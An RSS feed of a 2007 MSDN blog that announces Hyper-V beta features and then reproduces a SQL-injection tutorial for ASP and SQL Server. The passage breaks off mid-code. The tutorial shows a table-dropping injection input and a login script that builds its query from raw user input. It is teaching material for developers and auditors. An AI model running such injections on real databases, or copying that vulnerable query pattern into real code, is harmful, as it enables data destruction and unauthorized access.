<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="http://blogs.msdn.com/utility/FeedStylesheets/rss.xsl" media="screen"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:wfw="http://wellformedweb.org/CommentAPI/"><channel><title>A pint of software</title><link>http://blogs.msdn.com/b/apinedo/</link><description /><dc:language>en-US</dc:language><generator>Telligent Evolution Platform Developer Build (Build: 5.6.50428.7875)</generator><item><title>BIG DAY FOR HYPER-V!!!</title><link>http://blogs.msdn.com/b/apinedo/archive/2007/12/14/big-day-for-hyper-v.aspx</link><pubDate>Fri, 14 Dec 2007 15:40:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:6769867</guid><dc:creator>apinedo</dc:creator><slash:comments>1</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/apinedo/rsscomments.aspx?WeblogPostID=6769867</wfw:commentRss><comments>http://blogs.msdn.com/b/apinedo/archive/2007/12/14/big-day-for-hyper-v.aspx#comments</comments><description>&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN lang=EN-US style="mso-ansi-language: EN-US"&gt;&lt;?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN lang=EN-US style="mso-ansi-language: EN-US"&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;It’s a big day for Microsoft virtualization! Today, we are announcing the &lt;B&gt;PUBLIC RELEASE Windows Server 2008 RC1 &lt;U&gt;with Hyper-V Beta&lt;/U&gt;&lt;/B&gt;! A few highlights include:&lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align=center&gt;&lt;SPAN lang=EN-US style="mso-ansi-language: EN-US"&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 0cm 0cm 0pt 36pt; TEXT-INDENT: -18pt; mso-list: l0 level1 lfo1"&gt;&lt;SPAN lang=EN-US style="mso-ansi-language: EN-US; mso-bidi-font-family: Calibri; mso-fareast-font-family: Calibri"&gt;&lt;SPAN style="mso-list: Ignore"&gt;&lt;FONT face=Calibri size=3&gt;1.&lt;/FONT&gt;&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;&lt;SPAN lang=EN style="mso-ansi-language: EN"&gt;Quick Migration and high availability providing solutions for planned and unplanned downtime&lt;/SPAN&gt;&lt;SPAN lang=EN-US style="mso-ansi-language: EN-US"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 0cm 0cm 0pt 36pt; TEXT-INDENT: -18pt; mso-list: l0 level1 lfo1"&gt;&lt;SPAN lang=EN-US style="mso-ansi-language: EN-US; mso-bidi-font-family: Calibri; mso-fareast-font-family: Calibri"&gt;&lt;SPAN style="mso-list: Ignore"&gt;&lt;FONT face=Calibri size=3&gt;2.&lt;/FONT&gt;&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;&lt;SPAN lang=EN style="mso-ansi-language: EN"&gt;Support for running Hyper-V with Server Core in the parent partition &lt;/SPAN&gt;&lt;SPAN lang=EN-US style="mso-ansi-language: EN-US"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 0cm 0cm 0pt 36pt; TEXT-INDENT: -18pt; mso-list: l0 level1 lfo1"&gt;&lt;SPAN lang=EN-US style="mso-ansi-language: EN-US; mso-bidi-font-family: Calibri; mso-fareast-font-family: Calibri"&gt;&lt;SPAN style="mso-list: Ignore"&gt;&lt;FONT face=Calibri size=3&gt;3.&lt;/FONT&gt;&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;&lt;SPAN lang=EN style="mso-ansi-language: EN"&gt;Import/Export of virtual machines &lt;/SPAN&gt;&lt;SPAN lang=EN-US style="mso-ansi-language: EN-US"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 0cm 0cm 0pt 36pt; TEXT-INDENT: -18pt; mso-list: l0 level1 lfo1"&gt;&lt;SPAN lang=EN-US style="mso-ansi-language: EN-US; mso-bidi-font-family: Calibri; mso-fareast-font-family: Calibri"&gt;&lt;SPAN style="mso-list: Ignore"&gt;&lt;FONT face=Calibri size=3&gt;4.&lt;/FONT&gt;&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;&lt;SPAN lang=EN style="mso-ansi-language: EN"&gt;Hyper-V now integrated with Windows Server Manager &lt;/SPAN&gt;&lt;SPAN lang=EN-US style="mso-ansi-language: EN-US"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 0cm 0cm 0pt 36pt; TEXT-INDENT: -18pt; mso-list: l0 level1 lfo1"&gt;&lt;SPAN lang=EN-US style="mso-ansi-language: EN-US; mso-bidi-font-family: Calibri; mso-fareast-font-family: Calibri"&gt;&lt;SPAN style="mso-list: Ignore"&gt;&lt;FONT face=Calibri size=3&gt;5.&lt;/FONT&gt;&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;&lt;SPAN lang=EN style="mso-ansi-language: EN"&gt;Integration components are now included in Windows Server 2008 meaning that when you install Windows Server 2008 in a Hyper-V virtual machine, Windows will &lt;I&gt;automatically&lt;/I&gt; install the ICs. &lt;/SPAN&gt;&lt;SPAN lang=EN-US style="mso-ansi-language: EN-US"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 0cm 0cm 0pt 36pt; TEXT-INDENT: -18pt; mso-list: l0 level1 lfo1"&gt;&lt;SPAN lang=EN-US style="mso-ansi-language: EN-US; mso-bidi-font-family: Calibri; mso-fareast-font-family: Calibri"&gt;&lt;SPAN style="mso-list: Ignore"&gt;&lt;FONT face=Calibri size=3&gt;6.&lt;/FONT&gt;&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;&lt;SPAN lang=EN style="mso-ansi-language: EN"&gt;VHD Tools support (compaction, expansion and inspection)&lt;/SPAN&gt;&lt;SPAN lang=EN-US style="mso-ansi-language: EN-US"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 0cm 0cm 0pt 36pt; TEXT-INDENT: -18pt; mso-list: l0 level1 lfo1"&gt;&lt;SPAN lang=EN-US style="mso-ansi-language: EN-US; mso-bidi-font-family: Calibri; mso-fareast-font-family: Calibri"&gt;&lt;SPAN style="mso-list: Ignore"&gt;&lt;FONT face=Calibri size=3&gt;7.&lt;/FONT&gt;&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;&lt;SPAN lang=EN style="mso-ansi-language: EN"&gt;Emulated video card has changed from an S3 Trio video card to a more generic VESA compatible device. (This change resolves numerous video issues with non-Windows operating systems like Linux).&lt;/SPAN&gt;&lt;SPAN lang=EN-US style="mso-ansi-language: EN-US"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 0cm 0cm 0pt 36pt; TEXT-INDENT: -18pt; mso-list: l0 level1 lfo1"&gt;&lt;SPAN lang=EN-US style="mso-ansi-language: EN-US; mso-bidi-font-family: Calibri; mso-fareast-font-family: Calibri"&gt;&lt;SPAN style="mso-list: Ignore"&gt;&lt;FONT face=Calibri size=3&gt;8.&lt;/FONT&gt;&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;&lt;SPAN lang=EN style="mso-ansi-language: EN"&gt;Support for up to four virtual SCSI controllers per virtual machine&lt;/SPAN&gt;&lt;SPAN lang=EN-US style="mso-ansi-language: EN-US"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 0cm 0cm 0pt 36pt; TEXT-INDENT: -18pt; mso-list: l0 level1 lfo1"&gt;&lt;SPAN lang=EN-US style="mso-ansi-language: EN-US; mso-bidi-font-family: Calibri; mso-fareast-font-family: Calibri"&gt;&lt;SPAN style="mso-list: Ignore"&gt;&lt;FONT face=Calibri size=3&gt;9.&lt;/FONT&gt;&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;&lt;SPAN lang=EN style="mso-ansi-language: EN"&gt;Numerous fixes for compatibility, performance and scalability &lt;/SPAN&gt;&lt;SPAN lang=EN-US style="mso-ansi-language: EN-US"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN lang=EN-US style="mso-ansi-language: EN-US"&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;&lt;SPAN lang=EN-US style="mso-ansi-language: EN-US"&gt;&lt;o:p&gt;&lt;FONT face=Calibri&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN lang=EN-US style="mso-ansi-language: EN-US"&gt;&lt;FONT size=3&gt;Hyper-V Videos on Soapbox here:&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN lang=EN-US style="mso-ansi-language: EN-US"&gt;&lt;FONT size=3&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&amp;nbsp;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN lang=EN-US style="mso-ansi-language: EN-US"&gt;&lt;FONT size=3&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&amp;nbsp;&lt;/P&gt;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;EMBED pluginspage=http://macromedia.com/go/getflashplayer src=http://images.video.msn.com/flash/soapbox1_1.swf width=432 height=364 type=application/x-shockwave-flash quality="high" base="http://images.video.msn.com" allowFullScreen="true" flashvars="c=v&amp;amp;v=26086837-dd73-444b-9466-65a1ed759544&amp;amp;ifs=true&amp;amp;fr=msnvideo&amp;amp;mkt=es-ES&amp;amp;brand="&gt;&lt;/EMBED&gt;&lt;BR&gt;&lt;A title="Symmetric Multiprocessing with Windows Server virtualization (Hyper-V)" href="http://video.msn.com/video.aspx?vid=26086837-dd73-444b-9466-65a1ed759544" target=_new&gt;Video: Symmetric Multiprocessing with Windows Server virtualization (Hyper-V)&lt;/A&gt; 
&lt;P mce_keep="true"&gt;&amp;nbsp;&lt;/P&gt;&lt;EMBED pluginspage=http://macromedia.com/go/getflashplayer src=http://images.video.msn.com/flash/soapbox1_1.swf width=432 height=364 type=application/x-shockwave-flash flashvars="c=v&amp;amp;v=5f2b04d7-c501-4c28-8046-dece495cb5c9&amp;amp;ifs=true&amp;amp;fr=msnvideo&amp;amp;mkt=es-ES&amp;amp;brand=" allowFullScreen="true" base="http://images.video.msn.com" quality="high" mce_src="http://images.video.msn.com/flash/soapbox1_1.swf"&gt;&lt;/EMBED&gt;&lt;BR&gt;&lt;A title="Virtual networking with Windows Server 2008 with Hyper-V" href="http://video.msn.com/video.aspx?vid=5f2b04d7-c501-4c28-8046-dece495cb5c9" target=_new mce_href="http://video.msn.com/video.aspx?vid=5f2b04d7-c501-4c28-8046-dece495cb5c9"&gt;Video: Virtual networking with Windows Server 2008 with Hyper-V&lt;/A&gt; 
&lt;P mce_keep="true"&gt;&amp;nbsp;&lt;/P&gt;&lt;EMBED pluginspage=http://macromedia.com/go/getflashplayer src=http://images.video.msn.com/flash/soapbox1_1.swf width=432 height=364 type=application/x-shockwave-flash flashvars="c=v&amp;amp;v=e1eb9aeb-9cb4-413e-982f-283667232590&amp;amp;ifs=true&amp;amp;fr=msnvideo&amp;amp;mkt=es-ES&amp;amp;brand=" allowFullScreen="true" base="http://images.video.msn.com" quality="high"&gt;&lt;/EMBED&gt;&lt;BR&gt;&lt;A title="Virtual storage for Windows Server 2008 with Hyper-V" href="http://video.msn.com/video.aspx?vid=e1eb9aeb-9cb4-413e-982f-283667232590" target=_new&gt;Video: Virtual storage for Windows Server 2008 with Hyper-V&lt;/A&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=6769867" width="1" height="1"&gt;</description></item><item><title>New posters subset for Best Practices...</title><link>http://blogs.msdn.com/b/apinedo/archive/2007/12/11/new-posters-subset-for-best-practices.aspx</link><pubDate>Tue, 11 Dec 2007 15:13:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:6734394</guid><dc:creator>apinedo</dc:creator><slash:comments>1</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/apinedo/rsscomments.aspx?WeblogPostID=6734394</wfw:commentRss><comments>http://blogs.msdn.com/b/apinedo/archive/2007/12/11/new-posters-subset-for-best-practices.aspx#comments</comments><description>&lt;P&gt;I have posted a new subset of posters to achieve best practices in Architecture platforms, I hope you enjoy.&lt;/P&gt;
&lt;P&gt;&lt;IMG title="Sample Security Best Practices" style="WIDTH: 880px; HEIGHT: 1007px" height=1007 alt="Sample Security Best Practices" src="http://blogs.msdn.com/photos/apinedo/images/6734337/original.aspx" width=880 border=0 mce_src="http://blogs.msdn.com/photos/apinedo/images/6734337/original.aspx"&gt;&lt;/P&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=6734394" width="1" height="1"&gt;</description><enclosure url="http://blogs.msdn.com/cfs-file.ashx/__key/communityserver-components-postattachments/00-06-73-43-94/0090_5F00_Best_5F00_Practices.zip" length="3021525" type="application/x-zip-compressed" /></item><item><title>SQL Injection</title><link>http://blogs.msdn.com/b/apinedo/archive/2007/06/19/sql-injection.aspx</link><pubDate>Tue, 19 Jun 2007 12:59:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:3402032</guid><dc:creator>apinedo</dc:creator><slash:comments>1</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/apinedo/rsscomments.aspx?WeblogPostID=3402032</wfw:commentRss><comments>http://blogs.msdn.com/b/apinedo/archive/2007/06/19/sql-injection.aspx#comments</comments><description>&lt;P align=left&gt;&lt;STRONG&gt;Abstract&lt;/STRONG&gt;&lt;/P&gt;
&lt;P align=left&gt;This document discusses in detail the common 'SQL injection' technique, as it applies to the popular Microsoft Internet Information Server/Active Server Pages/SQL Server platform. It discusses the various ways in which SQL can be 'injected' into the application and addresses some of the data validation and database lockdown issues that are related to this class of attack. &lt;/P&gt;
&lt;P&gt;The paper is intended to be read by both developers of web applications which communicate with databases and by security professionals whose role includes auditing these web applications. &lt;/P&gt;
&lt;P&gt;&lt;STRONG&gt;Introduction&lt;/STRONG&gt;&lt;/P&gt;
&lt;P align=left&gt;Structured Query Language ('SQL') is a textual language used to interact with relational databases. There are many varieties of SQL; most dialects that are in common use at the moment are loosely based around SQL-92, the most recent ANSI standard. The typical unit of execution of SQL is the 'query', which is a collection of statements that typically return a single 'result set'. SQL statements can modify the structure of databases (using Data Definition Language statements, or 'DDL') and manipulate the contents of databases (using Data Manipulation Language statements, or 'DML'). In this paper, we will be specifically discussing Transact-SQL, the dialect of SQL used by Microsoft SQL Server. &lt;/P&gt;
&lt;P align=left&gt;SQL Injection occurs when an attacker is able to insert a series of SQL statements into a 'query' by manipulating data input into an application. &lt;/P&gt;
&lt;P align=left&gt;A typical SQL statement looks like this: &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;select id, forename, surname from authors &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;This statement will retrieve the 'id', 'forename' and 'surname' columns from the 'authors' table, returning all rows in the table. The 'result set' could be restricted to a specific 'author' like this: &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;select id, forename, surname from authors where forename = 'john' and surname = 'smith' &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;An important point to note here is that the string literals 'john' and 'smith' are delimited with single quotes. Presuming that the 'forename' and 'surname' fields are being gathered from user-supplied input, an attacker might be able to 'inject' some SQL into this query, by inputting values into the application like this: &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;Forename: jo'hn &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;Surname: smith &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;&lt;EM&gt;The 'query string' becomes this: &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;select id, forename, surname from authors where forename = 'jo'hn' and &lt;/EM&gt;&lt;/FONT&gt;&lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;surname = 'smith' &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;When the database attempts to run this query, it is likely to return an error: &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;Server: Msg 170, Level 15, State 1, Line 1 &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;Line 1: Incorrect syntax near 'hn'.&lt;/EM&gt; &lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;The reason for this is that the insertion of the 'single quote' character 'breaks out' of the single-quote delimited data. The database then tried to execute 'hn' and failed. If the attacker specified input like this: &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;Forename: jo'; drop table authors-- &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;Surname: &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;…the authors table would be deleted, for reasons that we will go into later. &lt;/P&gt;
&lt;P align=left&gt;It would seem that some method of either removing single quotes from the input, or 'escaping' them in some way would handle this problem. This is true, but there are several difficulties with this method as a solution. First, not all user-supplied data is in the form of strings. If our user input could select an author by 'id' (presumably a number) for example, our query might look like this: &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;select id, forename, surname from authors where id=1234 &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;In this situation an attacker can simply append SQL statements on the end of the numeric input. In other SQL dialects, various delimiters are used; in the Microsoft Jet DBMS engine, for example, dates can be delimited with the '#' character. Second, 'escaping' single quotes is not necessarily the simple cure it might initially seem, for reasons we will go into later. &lt;/P&gt;
&lt;P align=left&gt;We illustrate these points in further detail using a sample Active Server Pages (ASP) 'login' page, which accesses a SQL Server database and attempts to authenticate access to some fictional application. &lt;/P&gt;
&lt;P align=left&gt;This is the code for the 'form' page, into which the user types a username and password: &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;&amp;lt;HTML&amp;gt; &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;&amp;lt;HEAD&amp;gt; &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;&amp;lt;TITLE&amp;gt;Login Page&amp;lt;/TITLE&amp;gt; &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;&amp;lt;/HEAD&amp;gt; &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;&amp;lt;BODY bgcolor='000000' text='cccccc'&amp;gt; &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;&amp;lt;FONT Face='tahoma' color='cccccc'&amp;gt; &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;&amp;lt;CENTER&amp;gt;&amp;lt;H1&amp;gt;Login&amp;lt;/H1&amp;gt; &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;&amp;lt;FORM action='process_login.asp' method=post&amp;gt; &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;&amp;lt;TABLE&amp;gt; &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;&amp;lt;TR&amp;gt;&amp;lt;TD&amp;gt;Username:&amp;lt;/TD&amp;gt;&amp;lt;TD&amp;gt;&amp;lt;INPUT type=text name=username size=100% &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;&lt;EM&gt;width=100&amp;gt;&amp;lt;/INPUT&amp;gt;&amp;lt;/TD&amp;gt;&amp;lt;/TR&amp;gt; &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;&amp;lt;TR&amp;gt;&amp;lt;TD&amp;gt;Password:&amp;lt;/TD&amp;gt;&amp;lt;TD&amp;gt;&amp;lt;INPUT type=password name=password size=100% width=100&amp;gt;&amp;lt;/INPUT&amp;gt;&amp;lt;/TD&amp;gt;&amp;lt;/TR&amp;gt; &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;&amp;lt;/TABLE&amp;gt; &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;&amp;lt;INPUT type=submit value='Submit'&amp;gt; &amp;lt;INPUT type=reset value='Reset'&amp;gt; &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;&amp;lt;/FORM&amp;gt; &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;&amp;lt;/FONT&amp;gt; &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;&amp;lt;/BODY&amp;gt; &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;&amp;lt;/HTML&amp;gt; &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;&lt;EM&gt;This is the code for 'process_login.asp', which handles the actual login: &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;&amp;lt;HTML&amp;gt; &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;&amp;lt;BODY bgcolor='000000' text='ffffff'&amp;gt; &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;&amp;lt;FONT Face='tahoma' color='ffffff'&amp;gt; &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;&amp;lt;STYLE&amp;gt; &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;p { font-size=20pt ! important} &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;font { font-size=20pt ! important} &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;h1 { font-size=64pt ! important} &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;&amp;lt;/STYLE&amp;gt; &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;&amp;lt;%@LANGUAGE = JScript %&amp;gt; &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;&amp;lt;% &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;function trace( str ) &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;{ &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;if( Request.form("debug") == "true" ) &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;Response.write( str ); &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;} &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;function Login( cn ) &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;{ &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;var username; &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;var password; &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;username = Request.form("username"); &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;password = Request.form("password"); &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;var rso = Server.CreateObject("ADODB.Recordset"); &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;var sql = "select * from users where username = '" + username + "' and password = '" + password + "'"; &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;trace( "query: " + sql ); &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;rso.open( sql, cn ); &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;if (rso.EOF) &lt;/EM&gt;&lt;/P&gt;
